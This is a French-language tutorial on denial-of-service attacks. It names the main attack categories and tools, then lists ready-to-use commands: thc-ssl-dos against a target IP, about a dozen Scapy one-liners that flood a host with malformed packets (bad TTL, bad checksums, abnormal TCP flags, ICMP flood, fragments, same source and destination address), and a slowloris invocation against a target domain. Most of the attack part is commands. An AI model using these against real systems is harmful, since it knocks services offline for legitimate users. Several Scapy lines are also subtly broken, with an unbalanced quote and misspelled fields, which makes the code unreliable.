Denis de service DOS

Une attaque par déni de service DoS attack (pour Denial of Service attack) est une attaque informatique ayant pour but de rendre indisponible un service, d'empêcher les utilisateurs légitimes d'un service de l'utiliser.

Il existe quatre catégorie de type de dénis de service et de dénis de service distribué.

  1. Déni de service par abus de session
  2. Attaque basé sur le volume
  3. Attaque basé sur les protocoles
  4. Attaque basé sur la couche applicative

Il existe plusieurs outils pour forger une attaque DOS tel que :

  • Metasploit
  • Nmap NSE
  • Exploit Database
  • Scapy
  • etc...

Exemple de dénis de service :

THC-SSL-DOS :

Permet d'exploiter un abus de session lors de l'utilisation de SSL par une application Web.

Commande :

root@kali:~# thc-ssl-dos -h
 ______________ ___  _________
 \__    ___/   |   \ \_   ___ \
   |    | /    ~    \/    \  \/
   |    | \    Y    /\     \____
   |____|  \___|_  /  \______  /
                 \/          \/
        http://www.thc.org

      Twitter @hackerschoice

Greetingz: the french underground

./thc-ssl-dos [options] <ip> <port>
  -h      help
  -l <n>  Limit parallel connections [default: 400]

Utilisation :

root@kali:~# thc-ssl-dos @IP_cible --accept

Scapy :

Scapy est un outil très puissant permettant de forger des paquets de tout type (ICMP, TCP, UDP). Il permet entre autre aussi de forger des paquet pour faire de DOS.

Exemple d'attaque DOS avec Scapy :

Attaque DOS par envoie de paquets avec des ttl éronner (ttl=0).

send(IP(dst="192.168.1.11",ttl=0)/TCP(),iface=eth0",count=2000)

Attaque DOS en envoyant des mauvais checksum dans les paquets TCP

send(IP(dst="192.168.1.11")/TCP(chksu=0x5555),iface=eth0",count=2000)

Attaque DOS en envoyant des paquets TCP avec des flags vide (All Cleared and seq# ==0)

send(IP(dst="192.168.1.11")/TCP(flags="",seq=555),iface=eth0",count=2000)

Attaque DOS en envoyant des paquets TCP avec des flags erroner (All Flag Set)

send(IP(dst="192.168.1.11")/TCP(flags=0x0ff),iface=eth0",count=2000)

Attaque DOS en envoyant des paquets TCP avec des flags "F" (FIN Only Set)

send(IP(dst="192.168.1.11")/TCP(flags="F"),iface=eth0",count=2000)

Attaque DOS en envoyant des paquets TCP avec une longueur d'en-tête trop longue (header Length > L2)

send(IP(dst="192.168.1.11", src="192.168.1.10", 1hl=15L)/TCP(dport="www"),iface=eth0",count=2000)

Attaque DOS en envoyant des paquets TCP avec une taille d'en-tête trop courte (Header length too short)

send(IP(dst="192.168.1.11", src="192.168.1.10", 1hl=2L)/TCP(dport="www"),iface=eth0",count=2000)

Attaque DOS par ICMP Flood

send(IP(dst="192.168.1.11")/ICMP(),iface=eth0",count=2000)

Attaque DOS en envoyant des mauvais checksum dans les paquets IP

send(IP(dst="192.168.1.11", src="192.168.1.10", chksum=0x5500)/TCP(dport="www"),iface=eth0",count=2000)

Attaque DOS IP Fragment

send(IP(dst="192.168.1.11", src="192.168.1.10", frag=1)/TCP(dport="www"),iface=eth0",count=2000)

Attaque DOS IP length > L2 length

send(IP(dst="192.168.1.11", src="192.168.1.10", 1hl=5L, len=80)/TCP(dport="www"),iface=eth0",count=2000)

Attaque DOS IP source identique à IP de destination

send(IP(dst="192.168.1.11", src="192.168.1.11")/TCP(dport="www"),iface=eth0",count=2000)

Slowloris

slowloris est un script écrit en perl par qui permet à une seule machine de faire tomber un serveur en utilisant une bande passante minimale et des effets de bord sur des services et des port sans rapport.

Slowloris effectue des attaques de type DOS et affecte surtout les serveurs apache

Slowloris essai de garder beaucoup de connexions ouverte avec le serveur et les conserve le plus longtemps possible. Il accomplie cela en ouvrant des connexion avec la cible en lui envoyant une requête partiel. Périodique il envoie des header HTTP mais sans terminer la requête, les serveur visée vont conserver les copnnexion ouvert remplissant leur pool de connexion concuranteet finalement empêcher des connexions ultérieur des clients.

Le principe de ce script est d'envoyer des requêtes HTTP à intervale régulier afin de garder les socket ouvert.

Principe :

Slowloris initie une requête GET vers le serveur cible. Il y a ensuite un échange entre les deux entité comme n'importe quel échange HTTP entre un client et un serveur, sauf qu'ici slowris fera en sorte que la connexion ne se termine jamais. Pour cela slowris ne va pas envoyer les séquence attendu par le serveur mais plutôt lui fournira une en tête quelconque qui sera ignoré par le serveur mais qui permettra de maintenir les connexions TCP ouvertes, empêchant ainsi le socket d'être fermer. Le serveur devient rapidement saturé se qui aboutie à un dénis de service.

Exemple :

Il faut tout d'abord télécharger le repository slowloris sur github

root@kali:#~/Documents/slowloris.pl-master# ./slowloris.pl -dns cible.com